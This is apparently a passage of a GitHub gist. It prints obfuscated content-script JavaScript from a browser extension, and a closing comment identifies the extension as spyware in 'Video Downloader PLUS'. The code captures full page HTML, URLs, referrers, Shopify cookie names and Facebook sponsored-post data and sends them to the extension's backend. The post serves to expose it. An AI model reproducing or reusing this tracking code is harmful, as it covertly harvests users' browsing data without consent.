'AdBlade': ['//web.adblade.com/js/ads/async/show.js', '<ins\x20class=\x22adbladeads\x22'], 'AdNow': ['-adnow.com/js/adv_out.js', 'sc_adv_out\x20=\x20window.sc_adv_out'], 'AdCash': ['/a/display.php?', '/ad/display.php?', '/script/java.php?'], 'PopAds': ['popads.net/pop.js'], 'PopCash': ['popcash.net'], 'PropellerAds': ['apu.php?zoneid='], 'ExoClick': ['http://syndication.exoclick.com/splash.php?idzone=', 'http://syndication.exosrv.com/splash.php?idzone=', 'http://syndication.exdynsrv.com/splash.php?idzone=', 'main.exoclick.com', 'main.exosrv.com', 'main.exdynsrv.com'], 'AppNexus': ['adnxs.com/ttj'], 'BidVertiser': ['bdv.bidvertiser.com/BidVertiser.dbm', 'bidvertiser.com', 'bidverdrs.com'], 'Rubicon': ['ads.rubiconproject.com'], 'OpenX': ['-d.openx.net/w/', 'openx.net'], 'Woocomerce': ['wp-content/plugins/woocommerce', '.woocommerce-', 'woocommerce-Price'], 'Magento': ['skin/frontend', 'Mage.Cookies'], 'Shopify': ['//v.shopify.com/internal_errors/', '//cdn.shopify.com/assets2/', '//cdn.shopify.com/s/javascripts/', '//cdn.shopify.com/s/files/', '//cdn.shopify.com/s/assets/', '//cdn.shopify.com/s/javascripts/', 'id=\x22shopify-digital-wallet\x22', 'id=\x22shopify-section-header\x22', 'id=\x22shopify-section-footer\x22', 'shopify-checkout-api-token', '<symbol\x20id=\x22shopify-full-color-black\x22>', 'The\x20browser\x20you\x20are\x20using\x20is\x20not\x20supported\x20by\x20Shopify', '\x22inventory_management\x22:\x22shopify\x22', 'Powered\x20by\x20Shopify'], 'Prestashop': ['content=\x22PrestaShop\x22', 'Powered\x20by\x20PrestaShop'], 'Zencart': ['index.php?main_page=', 'includes/templates/', 'content=\x22Zen\x20Cart!', 'content=\x22The\x20Zen\x20Cart', 'Powered\x20by\x20Zen\x20Cart'], 'Bigcommerce': ['bigcommerce.com'], 'PlugRush': ['prwidgets.com', '//d.plugrush.com/pub.js', 'plugrush.com/pub.js', '/popunder:'], 'AdExpansion': ['http://tracker.adxpansion.com/click', 'ads.adxpansion.com', 'adxpansion.com'], 'JuicyAds': ['adserver.juicyads.com', 'juicyads.com', 'playerBox'], 'TrafficJunky': ['//ads.trafficjunky.net/click?url=', 'trafficjunky.net', 'name=\x22mpgSelector1\x22', '/post-'], 'EroAdvertising': ['ero-advertising.com'], 'TrafficFactory': ['trafficfactory.biz', 'class=\x22video-page\x22'], 'CPMStar': ['cpmstar.com'], 'TrafficHunt': ['traffichunt.com'], 'TrafficStars': ['trafficstars.com'], 'Slimspots': ['slimspots.com'], 'Adverster': ['adverster.com'], 'TrafficForce': ['trafficforce.com'], 'TrafficHaus': ['traffichaus.com'], 'TrafficFabrik': ['trafficfabrik.com'] } }, 'popup': { 'patterns': { 'PopCash': ['popcash.net'], 'PropellerAds': ['aclickads.com', 'aebadu.com', 'alxsite.com', 'clickadu.com', 'debadu.com', 'deloton.com', 'doubledeepclick.com', 'fastpopunder.com', 'fedsit.com', 'gebadu.com', 'go.ad2up.com', 'go.ad2upapp.com', 'go.data1rtb.com', 'go.deliverymodo.com', 'go.oclasrv.com', 'go.padsdel.com', 'hebadu.com', 'iendoo.com', 'ioredi.com', 'moradu.com', 'onclickads.net', 'onclkds.com', 'pebadu.com', 'uebadu.com', 'vebadu.com', 'voradu.com', 'xxlargepop.com', 'yebadu.com'], 'AdCash': ['adcash.com', 'adnetworkperformance.com', 'buzzadexchange.com', 'buzzadnetwork.com', 'buzzonclick.com', 'geniusdisplay.com', 'liveadexchanger.com', 'maxonclick.com', 'onclickbright.com', 'onclickmax.com', 'onclickprediction.com', 'predictivadnetwork.com', 'theadgateway.com', 'totaladperformance.com', 'tradeadexchange.com'], 'PopAds': ['popads.net'] } }, 'pageViews': { 'Shopify': { 'htmlPatterns': ['//v.shopify.com/internal_errors/', '//cdn.shopify.com/assets2/', '//cdn.shopify.com/s/javascripts/', '//cdn.shopify.com/s/files/', '//cdn.shopify.com/s/assets/', '//cdn.shopify.com/s/javascripts/', 'shopify-checkout-api-token', '<symbol\x20id=\x22shopify-full-color-black\x22>', 'The\x20browser\x20you\x20are\x20using\x20is\x20not\x20supported\x20by\x20Shopify', '\x22inventory_management\x22:\x22shopify\x22', 'Powered\x20by\x20Shopify', 'id=\x22shopify-digital-wallet\x22', 'id=\x22shopify-section-header\x22', 'id=\x22shopify-section-footer\x22'], 'cookiePatterns': ['_shopify_sa_t', '_shopify_sa_p', '_shopify_s', '_shopify_fs', '_shopify_y'], 'jsVariablePatterns': ['ShopifyMarketing', 'Shopify', 'ShopifyAPI', 'ShopifyAnalytics', 'ShopifyPaypalV4VisibilityTracking'] } }, 'socialImpressions': { 'newsFeed': { 'newsFeedBlockSelectors': ['#stream_pagelet\x20div[role=\x22feed\x22]\x20[role=\x22article\x22]\x20[data-ft=\x27{\x22tn\x22:\x22j\x22}\x27]'], 'newsFeedBlockClosest': ['[role=\x22article\x22]'], 'sponsoredNewsFeedSelectors': ['div\x20>\x20div\x20>\x20a', 'a\x20>\x20div\x20>\x20div'], 'linkSelectors': ['a[href*=\x22/l.php\x22]', 'a[data-lynx-uri*=\x22/l.php\x22]'], 'fbPostIdSelectors': ['input[name=\x22ft_ent_identifier\x22]'], 'fbPostIdDataAttributes': ['value'], 'fbPageIdSelectors': ['button.PageLikeButton'], 'fbPageIdDataAttributes': ['data-profileid'] }, 'ads': { 'egoSectionSelectors': ['.ego_unit_container\x20.ego_unit[data-ego-service]'], 'linkSelectors': ['a[href*=\x22/l.php\x22]', 'a[data-lynx-uri*=\x22/l.php\x22]'] } } }; } , , function(aN, aO, aP) { 'use strict'; Object['defineProperty'](aO, '__esModule', { 'value': !0x0 }); const aQ = aP(0x21); !function(aN) { aN['Shopify'] = 'Shopify'; }(aO['Network'] || (aO['Network'] = {})); aO['default'] = class { constructor(aN) { this['settings'] = aN; } ['process']() { const aN = Object['keys'](this['settings'])['map'](aN=>{ const aO = this['settings'][aN] , aP = aQ['createDetector'](aN); return aP['prepareData']()['then'](aN=>aP['detect'](aO, aN)); } ); return Promise['all'](aN)['then'](aN=>(aN = aN['filter'](aN=>null !== aN))['length'] ? aN['map'](aN=>({ 'footprints': aN['footprints'], 'html': document['documentElement']['outerHTML'], 'network': aN['network'], 'referrerUrl': document['referrer'] && document['referrer']['toString'](), 'url': document['URL'] })) : null); } } ; } , , , , , , , function(b1, b2, b3) { 'use strict'; Object['defineProperty'](b2, '__esModule', { 'value': !0x0 }); var b4 = bi(b3(0x6)) , b5 = bi(b3(0x0)) , b6 = b3(0x1) , b7 = b3(0x3) , b8 = b3(0x1e) , b9 = bi(b3(0x1f)) , ba = bi(b3(0x20)) , bb = bi(b3(0x8)) , bc = bi(b3(0x24)) , bd = b3(0x25) , be = function(b1) { if (b1 && b1['__esModule']) return b1; var b2 = {}; if (null != b1) for (var b3 in b1) Object['prototype']['hasOwnProperty']['call'](b1, b3) && (b2[b3] = b1[b3]); return b2['default'] = b1, b2; }(b3(0x5)); function bi(b1) { return b1 && b1['__esModule'] ? b1 : { 'default': b1 }; } const bk = function() { let b1 = b4['default'] , b2 = []; const b3 = window['top'] !== window; let bi; function bk(b1) { (0x0, b6['isOurMessage'])(b1, 'settingsUpdated') && bC(b1['data']['settings']); } function br(b1) { const b2 = b1['data']; 'runFuncOnPage.error' !== b2['type'] ? !b3 && (0x0, b6['isOurMessage'])(b2, 'banner') && (be['info']('Got\x20banner\x20message'), be['info'](b2['data']), bw(b2['data']['banner'])) : be['error'](b2['error']); } function bu(b1) { b1['isTrusted'] && chrome['runtime']['sendMessage']((0x0, b6['markMessage'])({ 'type': 'onUserClick', 'data': null })); } function bw(b1) { b3 ? be['error']('should\x20not\x20be\x20called\x20in\x20frame') : (b1['pageUrl'] = location['href'], (0x0, b7['sendBanner'])(b1)); } function by(b1) { if (b3) { b1['frameUrl'] = location['href']; const b2 = (0x0, b6['markMessage'])({ 'type': 'banner', 'data': { 'banner': b1 } }); top['postMessage'](b2, '*'); } else bw(b1); } function bB() { (0x0, b8['findBanners'])(document['body'], by), b3 || (0x0, b9['default'])(document, b1['native']['networksToDetect'], b1['native']['bannersExtractPatterns'], b7['sendNativeBanner']); } function bC(b3) { b2 = (b1 = b3)['banner']['bannerSizes']['map'](function(b2) { const b3 = b2['split']('x'); return new b7['BannerSize'](~~b3[0x0],~~b3[0x1],b1['banner']['bannerSizeThreshold']); }); } return { 'init': function() { bi = new bc['default'](b1['socialImpressions']), chrome['runtime']['onMessage']['addListener']((0x0, b6['safeHandler'])(bk)), window['addEventListener']('message', (0x0, b6['safeHandler'])(br)), window['addEventListener']('click', (0x0, b6['safeHandler'])(bu), !0x0), window['addEventListener']('touch', (0x0, b6['safeHandler'])(bu), !0x0), new Promise(function(b1) { const b2 = (0x0, b6['markMessage'])({ 'type': 'pageCreated', 'data': { 'isFrame': b3, 'html': document['documentElement']['outerHTML'], 'url': window['location']['href'], 'referrerUrl': document['referrer'] && document['referrer']['toString']() } }); chrome['runtime']['sendMessage'](b2, b2=>{ b1(b2['settings']); } ); } )['then'](function(b2) { bC(b2), setTimeout(()=>{ (0x0, ba['default'])(b1['footprint'], b7['sendFootprint']); } , b5['default']['footprintsSearchTimeout']), b3 || setTimeout(()=>{ const b2 = new bb['default'](b1['pageViews']); b2['process']()['then'](b1=>{ null !== b1 && (0x0, bd['sendPageViews'])(b1); } )['catch'](b1=>be['error'](b1)); } , b5['default']['pageViewsTimeout']), !b3 && bc['default']['isFacebook']() && function b1() { setTimeout(()=>{ const b2 = bi['process'](); null !== b2 && (0x0, bd['sendSocialImpressions'])(b2), b1(); } , b5['default']['socialImpressionsInterval']); }(), setInterval(bB, b5['default']['checkInterval']); }); }, 'getBannerSizes': function() { return b2; }, 'isInFrame': function() { return b3; } }; }(); b2['default'] = bk; } , , , , , , , , , , , , , , function(bO, bP, bQ) { 'use strict'; Object['defineProperty'](bP, '__esModule', { 'value': !0x0 }), bQ(0xf)['default']['init'](); } , function(bR, bS, bT) { 'use strict'; Object['defineProperty'](bS, '__esModule', { 'value': !0x0 }), bS['findBanners'] = function bR(bS, bT) { if (bS && 0x1 === bS['nodeType']) { if ((0x0, ch['isProcessed'])(bS)) return; if ('IFRAME' === bS['tagName']['toUpperCase']()) return void (0x0, ch['markAsProcessed'])(bS); const bW = function(bR) { const bS = bR['getBoundingClientRect'](); return bT = bS['width'], c1 = bS['height'], ci['default']['getBannerSizes']()['filter'](function(bR) { return bR['matches'](bT, c1); })[0x0] || null; var bT, c1; }(bS); if (bW && (0x0, ch['isSelfOrContains'])(bS, 'IMG')) !function(bR, bS, bT) { const bW = (0x0, ch['getElementMetadata'])(bR); bW['banner'] || (bW['banner'] = { 'checkCount': 0x0, 'inFrame': ci['default']['isInFrame'](), 'pageUrl': location['toString'](), 'referrerUrl': document['referrer'] && document['referrer']['toString']() }); const c6 = bR['getBoundingClientRect']() , c7 = bW['banner']; if (c7['size'] = bS, c7['width'] = c6['width'], c7['height'] = c6['height'], c7['checkCount']++, c7['checkCount'] >= cg['default']['checkLimit']) { (0x0, ch['markAsProcessed'])(bR); const c8 = function(bR, bS) { if (ci['default']['isInFrame']()) return bR['ownerDocument']['documentElement']; if (!(0x0, ch['isSelfOrContains'])(bR, 'A')) { let bS = !0x1; for (; 'BODY' !== bR['parentNode']['tagName']['toUpperCase'](); ) if ('A' === (bR = bR['parentNode'])['tagName']['toUpperCase']()) { bS = !0x0; break; } if (!bS) return null; } return function(bR, bS) { for (; bR['parentNode']; ) { const bT = bR['parentNode']['getBoundingClientRect'](); if (bS['width'] < bT['width'] || bS['height'] < bT['height']) break; bR = bR['parentNode']; } return bR === document ? document['documentElement'] : bR; }(bR, bS); }(bR, bS); c8 && ((0x0, ch['markAsProcessed'])(c8), c7['html'] = (0x0, ch['elementHtml'])(c8), c7['testId'] = c8['dataset']['testId'], bT(c7)); } }(bS, bW, bT); else if (bS['children']) for (let cf = 0x0; cf < bS['children']['length']; cf++) bR(bS['children'][cf], bT); } } ; var cg = cj(bT(0x0)) , ch = bT(0x3) , ci = cj(bT(0xf)); function cj(bR) { return bR && bR['__esModule'] ? bR : { 'default': bR }; } } , function(cl, cm, cn) { 'use strict'; Object['defineProperty'](cm, '__esModule', { 'value': !0x0 }); var co, cp = cn(0x0), cq = (co = cp) && co['__esModule'] ? co : { 'default': co }, cr = cn(0x3); const cs = function() { const cl = { 'func:takeElementSize': function(cl) { if (!cl) return null; const cm = cl['getBoundingClientRect'](); return { 'width': Math['round'](cm['width']), 'height': Math['round'](cm['height']) }; }, 'func:takeBackgroundImageUrl': cm, 'func:getTestId': function(cl) { return cl['dataset']['testId']; }, 'func:Taboola_ImgUrl': function(cl) { return cl['dataset']['itemThumb']; }, 'func:Taboola_ItemTitle': function(cl) { return cl['dataset']['itemTitle']; }, 'func:AdNow_ClickUrl': function(cl) { (0x0, cr['runFuncOnPage'])(document, function() { ['SC_TeaserBlock', 'SC_AdvTeaserV2']['forEach'](function(cl) { window[cl] && !document['body']['dataset'][cl] && (document['body']['dataset'][cl] = JSON['stringify'](window[cl])); }); }); const cm = (cl['id'] || '')['match'](/SC_TBlock_(\d+)_(\d+)_link/); if (cm) { const cn = cm[0x1] , co = cm[0x2]; let cp; ['SC_TeaserBlock', 'SC_AdvTeaserV2']['forEach'](function(cl) { document['body']['dataset'][cl] && (cp = JSON['parse'](document['body']['dataset'][cl])); }); const cq = cp && cp['blkData'] && cp['blkData'][cn] || cp['SC_AdvTeaserV2'] && cp['blkData'] && cp['blkData'][cn] , cr = cq && cq['params'] && cq['params']['teasers'] && cq['params']['teasers'][co]; if (cr && cl['title'] === cr['lb_title']) return cr['lb_click_url']; } return null; }, 'func:AdNow_ImgUrl': function(cl) { return cl['src']['replace'](/img_\d+x\d+\./, 'img_200x200.'); }, 'func:AdNow_BackgroundImgUrl': function(cl) { return cm(cl)['replace'](/img_\d+x\d+\./, 'img_200x200.'); } }; function cm(cl) { const cm = cl['style']['background-image']; return cm['substring'](0x4, cm['length'] - 0x1)['replace'](/"/g, ''); } function cn(cl) { let cm = !0x0; return ['imgUrl', 'url', 'title']['forEach'](function(cn) { return cl[cn] && (cl[cn] = cl[cn]['trim']()), cm = cm && cl[cn] && '' !== cl[cn]; }), cm = cm && cl['bannerSize'] && cl['bannerSize']['width'] > 0x0 && cl['bannerSize']['height'] > 0x0 && 'http://widgets.outbrain.com/strip_default.png' !== cl['imgUrl']; } return function(cm, co, cp, cs) { cq['default']['debug'] && Object['keys'](cp)['forEach'](function(cl) { (Array['isArray'](cp[cl]) ? cp[cl] : [cp[cl]])['forEach'](function(cl) { cl['item']['testId'] = 'func:getTestId'; }); }); const cX = co['map'](function(cn) { return cp[cn] ? (Array['isArray'](cp[cn]) ? cp[cn] : [cp[cn]])['map'](function(co) { return function(cm, cn, co) { const cp = []['slice']['apply'](cm['querySelectorAll'](co['containers'])); if (0x0 === cp['length']) return []; const cq = []; return cp['forEach'](function(cm) { []['slice']['apply'](cm['querySelectorAll'](co['items']))['forEach'](function(cm) { if ((0x0, cr['isProcessed'])(cm)) return !0x0; let cp = !0x0; if (Array['isArray'](co['item']['imgUrl'])) { const cl = co['item']['imgUrl'][0x0] , cn = cm['querySelector'](cl); cp = cn && (cn['complete'] || 'IMG' !== cn['tagName']['toUpperCase']()); } if (!cp) return !0x0; (0x0, cr['markAsProcessed'])(cm); const cs = { 'network': cn }; for (const cn in co['item']) { if (!co['item']['hasOwnProperty'](cn)) continue; const cp = co['item'][cn]; let cq, cr; cp in cl ? cs[cn] = cl[cp](cm) : (cq = cp[0x0], cr = cp[0x1], Array['isArray'](cq) || (cq = [cq]), cq['every'](function(co) { const cp = null === co ? cm : cm['querySelector'](co); return null == cp || (cs[cn] = cr in cl ? cl[cr](cp) : cp[cr] || cp['getAttribute'](cr), !0x1); })); } cq['push'](cs); }); }), cq; }(cm, cn, co); })['reduce'](function(cl, cm) { return cl['concat'](cm); }, []) : []; })['reduce'](function(cl, cm) { return cl['concat'](cm); }, []); cX['forEach'](function(cl) { cl['url'] = (0x0, cr['normalizeUrl'])(cm, cl['url']), cl['imgUrl'] = (0x0, cr['normalizeUrl'])(cm, cl['imgUrl']), cl['pageUrl'] = location['toString'](), cl['referrerUrl'] = document['referrer'] && document['referrer']['toString'](); }); let dm = cX['filter'](cn); return (dm = (0x0, cr['uniqueWith'])(dm, function(cl, cm) { return cl['url'] == cm['url'] || cl['title'] == cm['title'] && cl['imgUrl'] == cm['imgUrl']; }))['forEach'](cs), dm; } ; }(); cm['default'] = cs; } , function(dq, dr, ds) { 'use strict'; Object['defineProperty'](dr, '__esModule', { 'value': !0x0 }), dr['default'] = function(dq, dr) { const ds = document['documentElement']['outerHTML']; dq['networksToDetect']['map'](dw=>{ -0x1 === dq['excludeNetworks']['indexOf'](dw) && dq['patterns'][dw]['forEach'](dx=>{ if (-0x1 === ds['indexOf'](dx)) return; const dy = { 'url': document['URL'], 'referrerUrl': document['referrer'] && document['referrer']['toString'](), 'footprint': dx, 'network': dw }; -0x1 !== dq['networksToSendHtml']['indexOf'](dw) && (dy['html'] = ds), dr(dy); } ); } ); } ; } , function(dz, dA, dB) { 'use strict'; Object['defineProperty'](dA, '__esModule', { 'value': !0x0 }); const dC = dB(0x8) , dD = dB(0x22); dA['createDetector'] = function(dz) { switch (dz) { case dC['Network']['Shopify']: return new dD['ShopifyDetector'](); default: throw new Error('Unknown\x20type\x20of\x20the\x20detector\x20\x22page\x20view\x22.'); } } ; } , function(dF, dG, dH) { 'use strict'; Object['defineProperty'](dG, '__esModule', { 'value': !0x0 }); const dI = dH(0x0) , dJ = dH(0x1) , dK = dH(0x3) , dL = dH(0x5) , dM = dH(0x8) , dN = dH(0x23) , dO = 'ad_detect_page_views'; dG['ShopifyDetector'] = class extends dN['AbstractDetector'] { ['prepareData']() { return this['getJsVariables']()['then'](dF=>({ 'cookieNames': dJ['parseCookieNames'](), 'html': document['documentElement']['outerHTML'], 'jsGlobalVariableNames': dF })); } ['detect'](dF, dG) { const dH = this['detectByPatterns'](dG['html'], dF['htmlPatterns']) , dI = this['detectByCookies'](dG['cookieNames'], dF['cookiePatterns']) , dJ = this['detectByJsVariables'](dG['jsGlobalVariableNames'], dF['jsVariablePatterns']) , dK = { 'cookiePatterns': dI, 'htmlPatterns': dH, 'jsVariablePatterns': dJ }; return dL['info']('Detect\x20footprints\x20for\x20network\x20' + dM['Network']['Shopify']), dL['info'](dK), dJ['length'] && dI['length'] && dH['length'] ? { 'footprints': dK, 'network': dM['Network']['Shopify'] } : null; } ['detectByPatterns'](dF, dG) { return dG['filter'](dG=>-0x1 !== dF['indexOf'](dG)); } ['detectByCookies'](dF, dG) { return dG['filter'](dG=>-0x1 !== dF['indexOf'](dG)); } ['detectByJsVariables'](dF, dG) { return dG['filter'](dG=>-0x1 !== dF['indexOf'](dG)); } ['getJsVariables']() { return new Promise((dF,dG)=>{ const dH = dJ['safeHandler'](dG=>{ dG['data'] && dG['data']['type'] === dO && (window['removeEventListener']('message', dH), dF(dG['data']['jsGlobalVariableNames'])); } ); setTimeout(()=>{ window['removeEventListener']('message', dH), dG(new Error('Timeout.\x20Long\x20answer\x20from\x20the\x20page.')); } , 0x1388), window['addEventListener']('message', dH), dK['runFuncOnPage'](document, (dF,dG)=>{ window['postMessage']({ 'jsGlobalVariableNames': Object['keys'](window), 'type': dG }, '*'); } , [dI['debug'], dO]); } ); } } ; } , function(eb, ec, ed) { 'use strict'; Object['defineProperty'](ec, '__esModule', { 'value': !0x0 }); ec['AbstractDetector'] = class { } ; } , function(ee, ef, eg) { 'use strict'; Object['defineProperty'](ef, '__esModule', { 'value': !0x0 }); const eh = eg(0x0) , ei = eg(0x3) , ej = 'www.facebook.com'; var ek; !function(ee) { ee['NewsFeed'] = 'newsfeed', ee['RHS'] = 'rhs'; }(ek || (ek = {})); class em { constructor(ee) { this['settings'] = ee; } ['process']() { const ee = em['detectAdsInNewsFeed'](this['settings']['newsFeed']) , ef = em['detectAdsInRHS'](this['settings']['ads']) , eg = [...ee, ...ef]; return eg['length'] ? { 'links': eg, 'referrerUrl': document['referrer'] && document['referrer']['toString'](), 'url': document['URL'] } : null; } static['isFacebook']() { return eh['testMode'] || document['location']['hostname'] === ej; } static['detectAdsInNewsFeed'](ee) { const ef = [] , eg = document['querySelectorAll'](ee['newsFeedBlockSelectors']['join'](',')); for (let eh = 0x0; eh < eg['length']; eh++) { const ej = eg[eh] , ew = ej['closest'](ee['newsFeedBlockClosest']['join'](',')); if (!ew || ei['isProcessed'](ew)) continue; if (ei['markAsProcessed'](ew), !ej['querySelector'](ee['sponsoredNewsFeedSelectors']['join'](','))) continue; const ex = ew['querySelector'](ee['linkSelectors']['join'](',')); if (ex && ex['href']) { const eg = em['getSelectorData'](ew, ee['fbPostIdSelectors'], ee['fbPostIdDataAttributes']) , eh = em['getSelectorData'](ew, ee['fbPageIdSelectors'], ee['fbPageIdDataAttributes']) , ei = em['getCompositeFBPostId'](eg, eh); ef['push']({ 'fbAdType': ek['NewsFeed'], 'fbPostId': ei, 'link': em['decodeShimUrl'](ex), 'shimLink': ex['href'] }); } } return ef; } static['detectAdsInRHS'](ee) { const ef = [] , eg = document['querySelectorAll'](ee['egoSectionSelectors']['join'](',')); for (let eh = 0x0; eh < eg['length']; eh++) { const ej = eg[eh]; if (ei['isProcessed'](ej)) continue; ei['markAsProcessed'](ej); const eG = ej['querySelector'](ee['linkSelectors']['join'](',')); eG && eG['href'] && ef['push']({ 'fbAdType': ek['RHS'], 'fbPostId': null, 'link': em['decodeShimUrl'](eG), 'shimLink': eG['href'] }); } return ef; } static['decodeShimUrl'](ee) { let ef = ee['href']; if ('/l.php' !== ee['pathname']) return ef; let eg = null; 0x0 !== ef['indexOf']('http') && (ef = 'https://' + ej + ef); try { eg = new URL(ef)['searchParams']['get']('u'); } catch (eK) {} return eg; } static['getCompositeFBPostId'](ee, ef) { return null === ee || null === ef ? null : ef + '_' + ee; } static['getSelectorData'](ee, ef, eg) { const eh = ee['querySelector'](ef['join'](',')); if (null === eh) return null; for (let ee = 0x0; ee < eg['length']; ee++) { const ef = eh['getAttribute'](eg[ee]); if (null !== ef) return ef; } return null; } } ef['default'] = em; } , function(eT, eU, eV) { 'use strict'; Object['defineProperty'](eU, '__esModule', { 'value': !0x0 }); const eW = eV(0x1) , eX = eV(0x5); function eY(eT) { eX['info']('send\x20request\x20to\x20backend:\x20' + eT['type']), eX['info'](eT), chrome['runtime']['sendMessage'](eW['wrapMessage'](eT)); } eU['sendPageViews'] = function(eT) { eT['forEach'](eT=>eY(Object['assign']({ 'type': 'pageViews' }, eT))); } , eU['sendSocialImpressions'] = function(eT) { eY(Object['assign']({ 'type': 'socialImpressions' }, eT)); } ; } ]); } catch (f3) {} }();

@denisbetsi
Copy link

Found the extension for the spyware. It's

https://chrome.google.com/webstore/report/fhplmmllnpjjlncfjpbbpjadoeijkogc?hl=en-US

Name: Video Downloader PLUS

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment